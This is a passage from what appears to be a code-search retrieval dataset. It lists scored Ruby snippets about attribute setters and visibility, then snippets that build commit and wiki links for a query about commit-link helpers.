"text": "def set_public_at\n if self.public? && self.public_at.nil?\n self.public_at = Time.now.to_date\n elsif !self.public?\n self.public_at = nil\n end\n end",
"title": ""
},
{
"docid": "b8d8a409ca8120989882bb0355ef3303",
"score": "0.60293275",
"text": "def set_public_at\n if self.public? && self.public_at.nil?\n self.public_at = Time.now.to_date\n elsif !self.public?\n self.public_at = nil\n end\n end",
"title": ""
},
{
"docid": "8f3655a17af140c7b4acfa33861286e5",
"score": "0.60079515",
"text": "def attributes\n super.merge({ 'visibility' => @visibility })\n end",
"title": ""
},
{
"docid": "324201c2021d33ae6373d4b5e82eba4d",
"score": "0.6000945",
"text": "def initialize\n @attribute = 'truite'\n @accessor = 'pouet'\n end",
"title": ""
},
{
"docid": "ace1f5a00d86d5672152c1302cb9dafc",
"score": "0.5997673",
"text": "def create_setter\n @model.class_eval <<-EOS, __FILE__, __LINE__\n #{writer_visibility}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n end",
"title": ""
},
{
"docid": "027a27d0b53b2c3c42ce684bdddea7f7",
"score": "0.5994644",
"text": "def setPrivateInt(privateInt)\n\t#8. Cara mengisi atribut dari dalam kelas itu sendiri\n\t@privateInt = privateInt\n\tend",
"title": ""
},
{
"docid": "5b07c0487d53754af189d6c86026918c",
"score": "0.59938574",
"text": "def private=(val)\n ref_for(@current_user, true).private = (val != \"0\")\n end",
"title": ""
},
{
"docid": "1a553dbd96f74cdc1909b119e5e3ed45",
"score": "0.59927976",
"text": "def readonly!\n @readonly = true\n end",
"title": ""
},
{
"docid": "aa271006864c662036c566613eac39c8",
"score": "0.59903175",
"text": "def visibility=(v); end",
"title": ""
},
{
"docid": "0c2ad318f9704a2f0c5ca83e7533cb53",
"score": "0.5982489",
"text": "def setA=(a)\n @a = a\n end",
"title": ""
},
{
"docid": "110f6c6b7e7b4717b66fe375c3b29e34",
"score": "0.5967007",
"text": "def set_visibility\n default_accessor = @options.fetch(:accessor, self.class::DEFAULT_ACCESSOR)\n @reader_visibility = @options.fetch(:reader, default_accessor)\n @writer_visibility = @options.fetch(:writer, default_accessor)\n end",
"title": ""
},
{
"docid": "639512c2ab926defd80a9c8f2f8c5d31",
"score": "0.5957425",
"text": "def attribute; end",
"title": ""
},
{
"docid": "639512c2ab926defd80a9c8f2f8c5d31",
"score": "0.5957425",
"text": "def attribute; end",
"title": ""
},
{
"docid": "639512c2ab926defd80a9c8f2f8c5d31",
"score": "0.5957425",
"text": "def attribute; end",
"title": ""
},
{
"docid": "639512c2ab926defd80a9c8f2f8c5d31",
"score": "0.5957425",
"text": "def attribute; end",
"title": ""
},
{
"docid": "639512c2ab926defd80a9c8f2f8c5d31",
"score": "0.5957425",
"text": "def attribute; end",
"title": ""
},
{
"docid": "639512c2ab926defd80a9c8f2f8c5d31",
"score": "0.5957425",
"text": "def attribute; end",
"title": ""
},
{
"docid": "639512c2ab926defd80a9c8f2f8c5d31",
"score": "0.5957425",
"text": "def attribute; end",
"title": ""
},
{
"docid": "c5f4c7d23e649ab98683bdc8888be062",
"score": "0.59550154",
"text": "def public_write\n @public_write ||= public_write_was\n end",
"title": ""
},
{
"docid": "d80d047a714363b74ec622cc547376d3",
"score": "0.5949419",
"text": "def public_attribute?(name)\n self.public_attribute_names.include?(name.to_sym)\n end",
"title": ""
},
{
"docid": "1b867d9d3eac4e63f775480fe91ce80f",
"score": "0.59488964",
"text": "def visible=(visibility)\n end",
"title": ""
},
{
"docid": "5036a795f1aa792304b639c71c26c7ce",
"score": "0.5944804",
"text": "def disable_for_public\n self.update_attribute(:active, false)\n end",
"title": ""
},
{
"docid": "924d96a5b9ddfe7ccda7e48ee436ffb1",
"score": "0.59381044",
"text": "def set_attr\n @attr = Attr.find(params[:id])\n end",
"title": ""
},
{
"docid": "924d96a5b9ddfe7ccda7e48ee436ffb1",
"score": "0.59381044",
"text": "def set_attr\n @attr = Attr.find(params[:id])\n end",
"title": ""
},
{
"docid": "53cbd05b287bdc74192ec4a43863abe3",
"score": "0.5934813",
"text": "def attribute=(name, val)\n write_attribute(name, val)\n end",
"title": ""
},
{
"docid": "9244334438e06298302a6e9f41e39f2a",
"score": "0.593414",
"text": "def attributes=(params)\n params.each_pair do |k, v|\n setter = \"#{k}=\".to_sym\n public_send(setter, v)\n end\n end",
"title": ""
},
{
"docid": "cd7efa6b9ebb71c14ffcb3ca7b28a571",
"score": "0.5929573",
"text": "def __setter__\n \"#{self}=\"\n end",
"title": ""
},
{
"docid": "2722b1d2d8eed871d47a980b3c732214",
"score": "0.59286505",
"text": "def enable_for_public\n # TODO Create and write all the checks necessary for the listing to become active and public\n self.update_attribute(:active, true)\n end",
"title": ""
},
{
"docid": "f2ec0be4830a9d3a5b578c3b304a1552",
"score": "0.5922244",
"text": "def set_attribute(a,b)\n write_attribute(a,b)\n end",
"title": ""
},
{
"docid": "08379c125390ace278173c1247f7d867",
"score": "0.5917593",
"text": "def assign(attr, val)\n return unless respond_to? attr\n\n public_send attr, val\n end",
"title": ""
},
{
"docid": "bb6b8a352cf85d867593093651d8d32a",
"score": "0.5912939",
"text": "def private=(value)\n value = value ? true : nil\n self.cache_control = cache_control.\n merge('public' => !value, 'private' => value)\n end",
"title": ""
},
{
"docid": "97f96ff44a91cb6acc0dc47e3085f4c4",
"score": "0.59094584",
"text": "def public_id=(public_id)\n if public_id.nil?\n fail ArgumentError, 'invalid value for \"public_id\", public_id cannot be nil.'\n end\n @public_id = public_id\n end",
"title": ""
},
{
"docid": "f990c14ed147b23d8c1c90c853cf94a2",
"score": "0.59059894",
"text": "def []=(attr, value)\n if Roomorama::Property::ATTRIBUTES.include?(attr)\n setter = [attr, \"=\"].join\n public_send(setter, value)\n end\n end",
"title": ""
},
{
"docid": "4e8d05395489260281e14acd47cf86f1",
"score": "0.58881974",
"text": "def set_WithPublicId(value)\n set_input(\"WithPublicId\", value)\n end",
"title": ""
},
{
"docid": "70133628335b23ab3495ff4ecf82ea1a",
"score": "0.5881976",
"text": "def visiblity_changed\n if visibility_to_private?\n mark_as_set_to_private\n elsif visibility_to_public?\n mark_as_set_to_public\n end\n end",
"title": ""
},
{
"docid": "70133628335b23ab3495ff4ecf82ea1a",
"score": "0.5881976",
"text": "def visiblity_changed\n if visibility_to_private?\n mark_as_set_to_private\n elsif visibility_to_public?\n mark_as_set_to_public\n end\n end",
"title": ""
},
{
"docid": "4eeee0435263f39fe9efffed6c36b6f0",
"score": "0.58795524",
"text": "def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"title": ""
},
{
"docid": "092777e68797a2006e57f7064831e2a8",
"score": "0.5878953",
"text": "def public_attributes\n attributes\n end",
"title": ""
},
{
"docid": "b778477495e25aeacce6a1db5dc5be84",
"score": "0.5876019",
"text": "def set_property(attribute, value)\n `var el=this.__native__,attr=attribute.__value__,bool=c$Element.__boolean_attributes__[attr],key=c$Element.__boolean_attributes__[attr]||bool`\n `key ? el[key]=bool?$T(value):value : el.setAttribute(attr,''+value)`\n return self\n end",
"title": ""
},
{
"docid": "e08c53cb5d12cbd174b03b34226e5347",
"score": "0.58754677",
"text": "def make_public\n self.private = false\n save\n self.collaborators.clear # remove collaborators when user is downgraded, and wiki is made public\n end",
"title": ""
},
{
"docid": "bf55bc7eaf18d56cb23fc1d7b4ba7bed",
"score": "0.5855384",
"text": "def public; end",
"title": ""
},
{
"docid": "bf55bc7eaf18d56cb23fc1d7b4ba7bed",
"score": "0.5855384",
"text": "def public; end",
"title": ""
},
{
"docid": "f4aab7f4f7ab439d212031466dae2f2c",
"score": "0.58522534",
"text": "def set_private(object,data)\n JS::Lib.JSObjectSetPrivate(object,data)\n end",
"title": ""
},
{
"docid": "3b9775494b0a1bcc1bcc860ac4ef6746",
"score": "0.58398104",
"text": "def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"title": ""
},
{
"docid": "3b9775494b0a1bcc1bcc860ac4ef6746",
"score": "0.58398104",
"text": "def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"title": ""
},
{
"docid": "fca32195bee6b91fb2c8c061e5effac8",
"score": "0.583718",
"text": "def expose!\n expose_attribute!\n expose_helper_methods!\n end",
"title": ""
},
{
"docid": "9fa54a11d11bf2d28abfc3c1c4ac587a",
"score": "0.5824861",
"text": "def set attribute, value\n attributes[attribute] = value\n end",
"title": ""
},
{
"docid": "d5cfb023ac4b63f634d42279c166ba9b",
"score": "0.582215",
"text": "def publicly_accessible\n data[:publicly_accessible]\n end",
"title": ""
},
{
"docid": "d5cfb023ac4b63f634d42279c166ba9b",
"score": "0.582215",
"text": "def publicly_accessible\n data[:publicly_accessible]\n end",
"title": ""
},
{
"docid": "a3e8b5a33671fa4c2caec8ba59d81961",
"score": "0.5811456",
"text": "def public_attributes\n @public_attributes ||= begin\n self.record.attributes.keys.symbolize_array.reject{ |k|\n self.record.protected_attribute?(k)\n }\n end\n end",
"title": ""
},
{
"docid": "7bcf29624e07bfbbfd083e2af3609e55",
"score": "0.58112",
"text": "def attributes=(_arg0); end",
"title": ""
},
{
"docid": "d103dae805fb5f39f7c1fe97051ac54c",
"score": "0.58044136",
"text": "def attr(name); end",
"title": ""
},
{
"docid": "c7c48d2a44aef8f149e3f775b4220331",
"score": "0.5800522",
"text": "def make_public!\n reinitialize_rules!\n allow_if do\n true\n end\n return self\n end",
"title": ""
},
{
"docid": "69fd82ba626a72b9312228bf4508cced",
"score": "0.5792911",
"text": "def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"title": ""
},
{
"docid": "f7314b77ff84dcb425a0aa07c4e86361",
"score": "0.57924205",
"text": "def attributes=(params)\n end",
"title": ""
},
{
"docid": "6f23be64944a2ac0eb8555c36292d8bb",
"score": "0.57885194",
"text": "def public?\n @attributes[\"access\"] ? @attributes[\"access\"] == \"public\" : true\n end",
"title": ""
},
{
"docid": "6a517b6ed5b88b83b0f03ae5497b1fcb",
"score": "0.5786343",
"text": "def set_attribute(key_, value_)\n attribute(key_, value_, :set)\n end",
"title": ""
},
{
"docid": "2dd60d966e09fbca2a93fe092e867b1f",
"score": "0.57704145",
"text": "def setAttrib(name,value)\n\t\t@attributes[name] = value\n\tend",
"title": ""
},
{
"docid": "a5a9acf3cb17de3c12146082b4012860",
"score": "0.57570153",
"text": "def setPublicStatus(padID, publicStatus)\n call :setPublicStatus, :padID => padID, :publicStatus => publicStatus\n end",
"title": ""
},
{
"docid": "a2bccc434085defa7162a169c8d80250",
"score": "0.5755347",
"text": "def instance_set(attribute, value)\n setter = :\"#{self.name}_#{attribute}=\"\n self.instance.send(setter, value) if instance.respond_to?(setter)\n end",
"title": ""
},
{
"docid": "9cd13d18bc631d2a9cb80710564cf285",
"score": "0.57511586",
"text": "def public_client=(value)\n @public_client = value\n end",
"title": ""
},
{
"docid": "755960555ed8b5ad3a138b26e43c1255",
"score": "0.5740732",
"text": "def visibility=(v)\n @visibility = v\n end",
"title": ""
},
{
"docid": "89a6dff8100f5c048ed4fa2bc98bba13",
"score": "0.5736403",
"text": "def immutable=(bool)\n nil\n end",
"title": ""
},
{
"docid": "16d20ba640b02d42c7ede34a10c8168c",
"score": "0.5736294",
"text": "def attribute(name); end",
"title": ""
},
{
"docid": "a99df330546f0cea46e25807af8a034e",
"score": "0.5731541",
"text": "def setPrivateInt(privateInt)\n \n # 8. Cara mengisi atribut dari dalam kelas itu sendiri\n @privateInt = privateInt\n end",
"title": ""
},
{
"docid": "8ecb4108831b39b184f67a9a694d88de",
"score": "0.5705851",
"text": "def attr_writer( * )\n fail \"Remember, an Entity is immutable. Use a Services::Service to mutate the underlying data.\"\n end",
"title": ""
},
{
"docid": "df513dbb4772f4db277361e004ae21ec",
"score": "0.5704138",
"text": "def []= attribute, value\n `#@native.setAttribute(#{attribute}, #{value})`\n end",
"title": ""
},
{
"docid": "ab0a53c29640607b9dea7686d6e8e039",
"score": "0.570277",
"text": "def set_attribute\n @attribute = Attribute.find(params[:id])\n end",
"title": ""
},
{
"docid": "ab0a53c29640607b9dea7686d6e8e039",
"score": "0.570277",
"text": "def set_attribute\n @attribute = Attribute.find(params[:id])\n end",
"title": ""
},
{
"docid": "1030c36f68907b6c7b87d2717399dd5b",
"score": "0.56962276",
"text": "def []=(attr, value)\n self.send(\"#{attr}=\", value)\n end",
"title": ""
}
] |
21e258ba117a29907dba1771812cbab1 | The Following helper is used to generate links to specific commits. It uses the above helper. | [
{
"docid": "7905b5d0dc47e2941ecfa299bbadfb41",
"score": "0.6260652",
"text": "def print_github_commit_link(this_project_title, my_sha)\n print_github_project_link this_project_title + \"/commit/\" + my_sha\n end",
"title": ""
}
] | [
{
"docid": "7ed0f0df934ad52805d3dc9a773bad8d",
"score": "0.6962517",
"text": "def run(content, params={})\n link_to_commits = item[:link_to_commits] || false\n if !link_to_commits\n return content\n end\n\n warn \"Linking commits\"\n\n github_username = item[:github_username]\n repo = item[:repo]\n\n if github_username.nil? || repo.nil?\n warn \"#{@item.identifier} did not specify 'github_username' or 'repo'\"\n return\n end\n\n content.gsub(/#(\\w+)/) do |match|\n commit = match[1..-1] # escape starting #\n link = \"https://github.com/#{github_username}/#{repo}/commit/#{commit}\"\n text = \"##{commit}\"\n \"<a href=#{link}>#{text}</a>\"\n end\n end",
"title": ""
},
{
"docid": "9b24ac6d5e9cc756c1d193f37e8e9423",
"score": "0.65508974",
"text": "def link_title\n \"Commit: #{author_name} - #{title}\"\n end",
"title": ""
},
{
"docid": "9b24ac6d5e9cc756c1d193f37e8e9423",
"score": "0.65508974",
"text": "def link_title\n \"Commit: #{author_name} - #{title}\"\n end",
"title": ""
},
{
"docid": "9ee050764f33b8615cb69afd67146962",
"score": "0.64791745",
"text": "def format_commiturl(data)\r\n Git.io.generate data[\"compare\"]\r\nend",
"title": ""
},
{
"docid": "bc4bb62c48cddd677a78418fad1772c1",
"score": "0.64265704",
"text": "def commit_link(project, commit)\n if url = project.commit_url(commit)\n link_to commit[0, 6], url\n else\n content_tag :tt, commit[0, 6]\n end\n end",
"title": ""
},
{
"docid": "bc4bb62c48cddd677a78418fad1772c1",
"score": "0.64265704",
"text": "def commit_link(project, commit)\n if url = project.commit_url(commit)\n link_to commit[0, 6], url\n else\n content_tag :tt, commit[0, 6]\n end\n end",
"title": ""
},
{
"docid": "0e2ecbd9814ef50e36f34e474af734bd",
"score": "0.6395154",
"text": "def commit_link_filter(text)\n self.class.references_in(text) do |match, commit_ref, project_ref|\n project = self.project_from_ref(project_ref)\n\n if commit = commit_from_ref(project, commit_ref)\n push_result(:commit, commit)\n\n url = url_for_commit(project, commit)\n\n title = escape_once(commit.link_title)\n klass = reference_class(:commit)\n data = data_attribute(project.id)\n\n project_ref += '@' if project_ref\n\n %(<a href=\"#{url}\" #{data}\n title=\"#{title}\"\n class=\"#{klass}\">#{project_ref}#{commit.short_id}</a>)\n else\n match\n end\n end\n end",
"title": ""
},
{
"docid": "354b2c60c2567ee3a517c313c399ba4f",
"score": "0.6287958",
"text": "def gh_sha_link(repo, sha)\n path = \"#{repo}/commit/#{sha}\"\n label = sha[0..6]\n\n gh_link path, :label => label\nend",
"title": ""
},
{
"docid": "bc3bbecf99d87269a76fee26d2cccf84",
"score": "0.6236647",
"text": "def gh_commit_comment_link(repo, comment_id, commit_id)\n path = \"#{repo}/commit/#{commit_id}#commitcomment-#{comment_id}\"\n label = commit_id[0..9]\n\n gh_link path, :label => label\nend",
"title": ""
},
{
"docid": "0521083fd6b3a6d613e74074a3562fcc",
"score": "0.6182522",
"text": "def committer_link(options = {})\n person_link(options.merge source: :committer)\n end",
"title": ""
},
{
"docid": "ea159afa3b1187baaedf2e6a95cec164",
"score": "0.6158769",
"text": "def gen_repo_links_in_backtrace(backtrace)\n backtrace.map do |el|\n el_orig = el.dup\n file_colon_line = el.slice!(/^[-._a-zA-Z0-9\\/]+:[0-9]+(?=:in)/)\n if file_colon_line && Pathname.new(file_colon_line).relative?\n file_colon_line.slice!(\"./\")\n gen_repo_link(file_colon_line) + el\n else\n el_orig\n end\n end\n end",
"title": ""
},
{
"docid": "b48f21e1a62a50d92220fb82ba6b2470",
"score": "0.60681385",
"text": "def print_links_only\n found_issues = collect_issues_from_commits\n return if found_issues.empty?\n\n message = \"### Jira issues\\n\\n\"\n found_issues.each do |issue_id| \n message << \"[#{issue_id}](#{jira_site}/browse/#{issue_id})\\n\\n\" \n end\n\n markdown message\n end",
"title": ""
},
{
"docid": "836dafdefa5c4967bca6404eeb97fbbe",
"score": "0.6035798",
"text": "def commit_range_link_filter(text)\n self.class.references_in(text) do |match, commit_range, project_ref|\n project = self.project_from_ref(project_ref)\n\n from_id, to_id = split_commit_range(commit_range)\n\n if valid_range?(project, from_id, to_id)\n url = url_for_commit_range(project, from_id, to_id)\n\n title = \"Commits #{from_id} through #{to_id}\"\n klass = reference_class(:commit_range)\n\n project_ref += '@' if project_ref\n\n %(<a href=\"#{url}\"\n title=\"#{title}\"\n class=\"#{klass}\">#{project_ref}#{commit_range}</a>)\n else\n match\n end\n end\n end",
"title": ""
},
{
"docid": "118564c3c18fcdc3d519a3267bd64bc1",
"score": "0.6006766",
"text": "def release_commit_messages\n last_commit_url = Rails.configuration.x.release[:commit_url]\n commit_msgs = Rails.configuration.x.release[:commit_msgs].split(/\\n/)\n parent_commit_indicator = \"%5E\" # URL-encoded '^' char\n commit_msgs_html = \"<div class='gh-commit-msgs'>\"\n commit_msgs.each_with_index do |commit_msg, index|\n commit_msgs_html += \"<a target='_blank' href='#{last_commit_url}\" +\n \"#{parent_commit_indicator * index}'>#{commit_msg}</a><br>\"\n end\n commit_msgs_html += \"</div>\"\n end",
"title": ""
},
{
"docid": "f84bd7dbc931cce5c5b6f3b993220589",
"score": "0.5930853",
"text": "def github_code_link code_link, chapter_name\n backend_github_repo = $config['backend_github_repo']\n frontend_github_repo = $config['frontend_github_repo']\n frontend_fb_login_github_repo = $config['frontend_fb_login_github_repo']\n frontend_user_mgmt_github_repo = $config['frontend_user_mgmt_github_repo']\n backend_mono_github_repo = $config['backend_mono_github_repo']\n\n if (code_link === 'backend_full')\n text = \"For reference, here is the complete code for the backend\"\n elsif (code_link == 'frontend_full')\n text = \"For reference, here is the complete code for the frontend\"\n else\n text = \"For reference, here is the code we are using\"\n end\n\n if (code_link === 'backend')\n link_text = \"Backend Source: #{chapter_name}\"\n link = \"#{backend_github_repo}/tree/#{chapter_name}\"\n\n elsif (code_link === 'frontend')\n link_text = \"Frontend Source: #{chapter_name}\"\n link = \"#{frontend_github_repo}/tree/#{chapter_name}\"\n\n elsif (code_link === 'backend_full')\n link_text = \"Backend Source\"\n link = \"#{backend_github_repo}\"\n\n elsif (code_link === 'frontend_full')\n link_text = \"Frontend Source\"\n link = \"#{frontend_github_repo}\"\n\n elsif (code_link === 'mono-repo')\n link_text = \"Mono-repo Backend Source\"\n link = \"#{backend_mono_github_repo}\"\n\n elsif (code_link === 'facebook-login')\n link_text = \"Facebook Login Frontend Source\"\n link = \"#{frontend_fb_login_github_repo}\"\n\n elsif (code_link === 'user-management')\n link_text = \"User Management Frontend Source\"\n link = \"#{frontend_user_mgmt_github_repo}\"\n end\n\n link = \"\n<div class=\\\"post-checkpoint\\\">\n <p>#{text}</p>\n <a target=\\\"_blank\\\" href=\\\"#{link}\\\">\n #{link_text}\n </a>\n</div>\n\"\nend",
"title": ""
},
{
"docid": "313ee371bd44a3f31bbf638528c838a6",
"score": "0.59154505",
"text": "def reference_title\n \"Commits #{suffixed_sha_from} through #{sha_to}\"\n end",
"title": ""
},
{
"docid": "ed19db0d62fe84882f7ac52e8d4c2a2d",
"score": "0.5888511",
"text": "def list commits\n \n end",
"title": ""
},
{
"docid": "7f4e107af576f0d477d82849d1db4f35",
"score": "0.58753264",
"text": "def rich_commit(message)\n # Linkify Issues\n orgName = 'Avicus'\n if message.include?(\"#{orgName}/Issues#\")\n issue = message.match(/#{orgName}\\/Issues#(\\S*)/)[1]\n message = message.gsub(/(#{orgName}\\/Issues)([^\\s]+)/, \"<a href=\\\"https://github.com/#{orgName}/Issues/issues/#{issue}\\\">##{issue}</a>\")\n end\n\n # Remove PR (#)\n message = message.gsub(/\\(#([^)]+)\\)/, '')\n\n message\n end",
"title": ""
},
{
"docid": "be01ce3b4a3adfc23fd3867c869a4f25",
"score": "0.5873763",
"text": "def make_links(text)\n # Changesets\n\t\ttext.gsub!(CHANGESET_LINK_PATTERN) do |s|\n\t\t\tif @project && Changeset.find_by_revision_and_repository_id($1, @project.repository.id)\n\t\t\t\tlink_to(s, :controller => 'repository', :action => 'changesets', :id => $1)\n\t\t\telse\n\t\t\t\ts # Return it unchanged if the pattern matched but it isn't a changeset\n\t\t\tend\n\t\tend\n\t\t\n\t\t# Tickets\n text.gsub!(TICKET_LINK_PATTERN) do |s|\n\t\t\tif Ticket.find_by_id($1) # Only create link if ticket actually exists\n\t\t\t\tlink_to(s, :controller => 'tickets', :action => 'show', :id => $1)\n\t\t\telse\n\t\t\t\ts # Return it unchanged if it's not a real ticket\n\t\t\tend\n\t\tend\n\t\t\n return text\n end",
"title": ""
},
{
"docid": "08dc4114a320f89751cf2359e51bd9d2",
"score": "0.58582294",
"text": "def commit_url(commit, *path)\n url(commit.project.permalink, :commits, commit.identifier, *path)\n end",
"title": ""
},
{
"docid": "df6125eede8c3f540d01102b73b65a69",
"score": "0.5855337",
"text": "def github_link(method)\n data = method.token_stream.first[:text].match(/File\\s(\\S+), line (\\d+)/)\n\n file, line = data[1], data[2]\n\n %(<a href=\"#{tree_url}#{file}#L#{line}\" target=\"_blank\">View on GitHub</a>)\n end",
"title": ""
},
{
"docid": "2a16dd0594a5fe1738a53d650c6fcf88",
"score": "0.58430946",
"text": "def link_to_commit(commit, curriculum)\n link_to commit, curricula_compare_path(id: curriculum.id, commit: commit), class: 'no-link'\n end",
"title": ""
},
{
"docid": "eda2e0cc2a65ae2dd16b2d476251547f",
"score": "0.5750357",
"text": "def normalize_links \r\n# Revision.transaction do\r\n# pages.each do |page|\r\n# revision = page.current_revision\r\n# next if revision.nil? || revision.content.blank?\r\n# \r\n# content = revision.content.gsub(/<a(.*?)href=['\"]\\/([^'\"\\/]*)['\"]/mi) do |match_text|\r\n# puts \"Changing '#{$2}' to '#{Page.create_link($2)}'\"\r\n# \"<a#{$1}href=\\\"/#{create_link($2)}\\\"\"\r\n# end \r\n# if content != revision.content\r\n# revision.content = content\r\n# revision.save!\r\n# end\r\n# end\r\n# end\r\n end",
"title": ""
},
{
"docid": "023a540c2bb5d8fcdc26a9e605305043",
"score": "0.57038593",
"text": "def link_to( url )\n [@base, url].join(\"\")\n end",
"title": ""
},
{
"docid": "3923775988140b9bfc6665bd94a56059",
"score": "0.56649816",
"text": "def md_renderer(content, repo)\n content = content.gsub /\\!\\[([^\\]]+)\\]\\(([^)]+)\\)/, ''\n content = content.gsub /\\[([^\\]]+)\\]\\(([^)]+)\\)/, '<a href=\"\\2\">\\1</a>'\n content.gsub(/\\b([0-9a-f]{40})\\b/) { gh_sha_link(repo, $1) }\nend",
"title": ""
},
{
"docid": "b90b0ac7f46125fc62ef6e041d234176",
"score": "0.56644267",
"text": "def breadcrumbs\n return unless @project && @ref\n\n # Add the root project link and the arrow icon\n crumbs = content_tag(:li) do\n content_tag(:span, nil, class: 'arrow') +\n link_to(@project.name, project_commits_path(@project, @ref))\n end\n\n if @path\n parts = @path.split('/')\n\n parts.each_with_index do |part, i|\n crumbs += content_tag(:span, '/', class: 'divider')\n crumbs += content_tag(:li) do\n # The text is just the individual part, but the link needs all the parts before it\n link_to part, project_commits_path(@project, tree_join(@ref, parts[0..i].join('/')))\n end\n end\n end\n\n crumbs.html_safe\n end",
"title": ""
},
{
"docid": "033ebeb87411867038d5dff9b7d9f7ae",
"score": "0.56621635",
"text": "def wiki_edit_links(wikipage, options = {})\r\n separator = options[:separator] || '' # || ' · '\r\n \r\n\t links = []\r\n\t links << content_tag(:li, options[:prepend]) if options[:prepend]\r\n\t links << content_tag(:li) do\r\n\t link_to('return to home', wiki_path(@section))\r\n end unless wikipage.home?\r\n \r\n\t if wikipage.version == wikipage.versions.last.version\r\n\t links << authorized_tag(:li, :update, wikipage) do\r\n\t link_to('edit this page', edit_wikipage_path(@section, wikipage.permalink))\r\n end\r\n\t links << authorized_tag(:li, :destroy, wikipage) do\r\n\t link_to('delete this page', wikipage_path(@section, wikipage.permalink), { :confirm => \"Are you sure you wish to delete this page?\", :method => :delete })\r\n end unless wikipage.home?\r\n else\r\n\t links << authorized_tag(:li, :update, wikipage) do\r\n\t link_to('rollback to this revision', wikipage_path_with_home(@section, wikipage.permalink, :version => wikipage.version), { :confirm => \"Are you sure you wish to rollback to this version?\", :method => :put })\r\n end\r\n end\r\n\r\n if wikipage.versions.size > 1\r\n if wikipage.version > wikipage.versions.first.version\r\n \t links << content_tag(:li) do\r\n \t link_to('view previous revision', wikipage_rev_path(:section_id => @section.id, :id => wikipage.permalink, :version => (wikipage.version - 1)))\r\n\t end\r\n end\r\n if wikipage.version < wikipage.versions.last.version - 1\r\n \t links << content_tag(:li) do\r\n \t link_to('view next revision', wikipage_rev_path(:section_id => @section.id, :id => wikipage.permalink, :version => (wikipage.version + 1)))\r\n\t end\r\n\t end\r\n if wikipage.version < wikipage.versions.last.version\r\n \t links << content_tag(:li) do\r\n \t link_to('return to current revision', wikipage_path(@section, wikipage.permalink))\r\n\t end\r\n end\r\n end\r\n \r\n\t links << content_tag(:li, options[:append]) if options[:append]\r\n \r\n content_tag :ul, links * \"\\n\", :class => 'links'\r\n end",
"title": ""
},
{
"docid": "e3c3425418f5bf8d50f24f776bab404b",
"score": "0.5653023",
"text": "def links; end",
"title": ""
},
{
"docid": "e3c3425418f5bf8d50f24f776bab404b",
"score": "0.5653023",
"text": "def links; end",
"title": ""
},
{
"docid": "e3c3425418f5bf8d50f24f776bab404b",
"score": "0.5653023",
"text": "def links; end",
"title": ""
},
{
"docid": "e3c3425418f5bf8d50f24f776bab404b",
"score": "0.5653023",
"text": "def links; end",
"title": ""
},
{
"docid": "e3c3425418f5bf8d50f24f776bab404b",
"score": "0.5653023",
"text": "def links; end",
"title": ""
},
{
"docid": "e3c3425418f5bf8d50f24f776bab404b",
"score": "0.5653023",
"text": "def links; end",
"title": ""
},
{
"docid": "e3c3425418f5bf8d50f24f776bab404b",
"score": "0.5653023",
"text": "def links; end",
"title": ""
},
{
"docid": "e3c3425418f5bf8d50f24f776bab404b",
"score": "0.5653023",
"text": "def links; end",
"title": ""
},
{
"docid": "e6fd4ed1174713c2aff60296468f1898",
"score": "0.5648575",
"text": "def parse_redmine_links(text, default_project, obj, attr, only_path, options)\n text.gsub!(%r{([\\s\\(,\\-\\[\\>]|^)(!)?(([a-z0-9\\-_]+):)?(attachment|document|version|forum|news|message|project|commit|source|export)?(((#)|((([a-z0-9\\-_]+)\\|)?(r)))((\\d+)((#note)?-(\\d+))?)|(:)([^\"\\s<>][^\\s<>]*?|\"[^\"]+?\"))(?=(?=[[:punct:]][^A-Za-z0-9_/])|,|\\s|\\]|<|$)}) do |m|\n leading, esc, project_prefix, project_identifier, prefix, repo_prefix, repo_identifier, sep, identifier, comment_suffix, comment_id = $1, $2, $3, $4, $5, $10, $11, $8 || $12 || $18, $14 || $19, $15, $17\n link = nil\n project = default_project\n if project_identifier\n project = Project.visible.find_by_identifier(project_identifier)\n end\n if esc.nil?\n if prefix.nil? && sep == 'r'\n if project\n repository = nil\n if repo_identifier\n repository = project.repositories.detect {|repo| repo.identifier == repo_identifier}\n else\n repository = project.repository\n end\n # project.changesets.visible raises an SQL error because of a double join on repositories\n if repository && (changeset = Changeset.visible.find_by_repository_id_and_revision(repository.id, identifier))\n link = link_to(h(\"#{project_prefix}#{repo_prefix}r#{identifier}\"), {:only_path => only_path, :controller => 'repositories', :action => 'revision', :id => project, :repository_id => repository.identifier_param, :rev => changeset.revision},\n :class => 'changeset',\n :title => truncate_single_line(changeset.comments, :length => 100))\n end\n end\n elsif sep == '#'\n oid = identifier.to_i\n case prefix\n when nil\n if oid.to_s == identifier && issue = Issue.visible.find_by_id(oid, :include => :status)\n anchor = comment_id ? \"note-#{comment_id}\" : nil\n link = link_to(\"##{oid}\", {:only_path => only_path, :controller => 'issues', :action => 'show', :id => oid, :anchor => anchor},\n :class => issue.css_classes,\n :title => \"#{truncate(issue.subject, :length => 100)} (#{issue.status.name})\")\n end\n when 'document'\n if document = Document.visible.find_by_id(oid)\n link = link_to h(document.title), {:only_path => only_path, :controller => 'documents', :action => 'show', :id => document},\n :class => 'document'\n end\n when 'version'\n if version = Version.visible.find_by_id(oid)\n link = link_to h(version.name), {:only_path => only_path, :controller => 'versions', :action => 'show', :id => version},\n :class => 'version'\n end\n when 'message'\n if message = Message.visible.find_by_id(oid, :include => :parent)\n link = link_to_message(message, {:only_path => only_path}, :class => 'message')\n end\n when 'forum'\n if board = Board.visible.find_by_id(oid)\n link = link_to h(board.name), {:only_path => only_path, :controller => 'boards', :action => 'show', :id => board, :project_id => board.project},\n :class => 'board'\n end\n when 'news'\n if news = News.visible.find_by_id(oid)\n link = link_to h(news.title), {:only_path => only_path, :controller => 'news', :action => 'show', :id => news},\n :class => 'news'\n end\n when 'project'\n if p = Project.visible.find_by_id(oid)\n link = 